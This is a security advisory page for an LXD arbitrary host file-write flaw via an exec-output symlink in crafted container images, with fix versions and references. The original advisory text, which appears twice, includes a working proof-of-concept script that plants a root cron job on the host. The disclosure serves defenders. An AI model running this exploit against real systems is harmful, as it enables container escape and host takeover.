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9.9
LXD can write files anywhere on host via symlink
published 15 days ago
Summary
LXD may follow a symbolic link inside a container image and write its command output to any location on the host file system. An attacker could place a link to a sensitive directory (for example, the host's cron folder) and cause unwanted scripts to run. Update LXD to the latest version and only use trusted container images to mitigate the risk.
What to do
- Update canonical github.com/canonical/lxd to version 0.0.0-20260626085134-124f90100640.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| Go | canonical | github.com/canonical/lxd |
< 0.0.0-20260626085134-124f90100640 Fix: upgrade to 0.0.0-20260626085134-124f90100640
|
Original advisory text
LXD has arbitrary file write on host via `exec-output` symlink in crafted image
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
### Summary
The `record-output` parameter of the `/instances/$name/exec` endpoint
stores the output of the command in the `exec-output` directory of the
instance. If `exec-output` is a symlink, file named `exec_UUID.stdout`
and `exec_UUID.stderr` can be written to an arbitrary location where
the `.stdout` file will contain arbitrary content. This behavior can be
abused for arbitrary command execution.
### Details
When an image is unpacked, top-level symlinks are extracted as is;
allowing for `exec-output` to be placed on disk. In `instance_exec.go`,
`os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows
the `exec-output` symlink.
### PoC
Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on
the host for arbitrary command execution.
```
#!/bin/sh
# usage: $0 existing-imagefp
set -eu
basefp="${1}"
die() {
printf '%s' "${@}" >&2
exit 1
}
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
# insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output
# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
"lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec_* -exec cat {} \;
```
### Impact
Constrained file creation in an arbitrary directory on the host via
via an unsanitized symlink; possibly leading to command execution.
### Summary
The `record-output` parameter of the `/instances/$name/exec` endpoint
stores the output of the command in the `exec-output` directory of the
instance. If `exec-output` is a symlink, file named `exec_UUID.stdout`
and `exec_UUID.stderr` can be written to an arbitrary location where
the `.stdout` file will contain arbitrary content. This behavior can be
abused for arbitrary command execution.
### Details
When an image is unpacked, top-level symlinks are extracted as is;
allowing for `exec-output` to be placed on disk. In `instance_exec.go`,
`os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows
the `exec-output` symlink.
### PoC
Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on
the host for arbitrary command execution.
```
#!/bin/sh
# usage: $0 existing-imagefp
set -eu
basefp="${1}"
die() {
printf '%s' "${@}" >&2
exit 1
}
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
# insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output
# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
"lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec_* -exec cat {} \;
```
### Impact
Constrained file creation in an arbitrary directory on the host via
via an unsanitized symlink; possibly leading to command execution.
References
- https://github.com/canonical/lxd/security/advisories/GHSA-9j25-mm2h-2f76 URL
- https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9 URL
- https://nvd.nist.gov/vuln/detail/CVE-2026-48750 Vendor Advisory
- https://github.com/canonical/lxd/commit/124f901006400f634d54d908911c9ea93bae9a70 URL
- https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da URL
- https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f URL
- https://github.com/canonical/lxd/commit/937b761393af48fe4f5ff7e610ebfc1c9144e953 URL
- https://github.com/canonical/lxd/commit/bb0f2521a59edacff2a0cb2e9532fdfbe68cf764 URL
- https://github.com/canonical/lxd Product
- https://github.com/canonical/lxd/releases/tag/lxd-5.21.5 URL
- https://manpages.debian.org/bookworm/cron/cron.8.en.html URL
Internet-facing
14 days
Internal
At next upgrade
- Not known to be exploited
- Needs hands-on effort to exploit (estimated)
- Gives an attacker full control (estimated)
Type
CWE-73External Control of File Name or Path
Timeline
Published6 Nov 2026
Updated6 Nov 2026
First seen6 Nov 2026
Sources
GHSA-9j25-mm2h-2f76 · OSV
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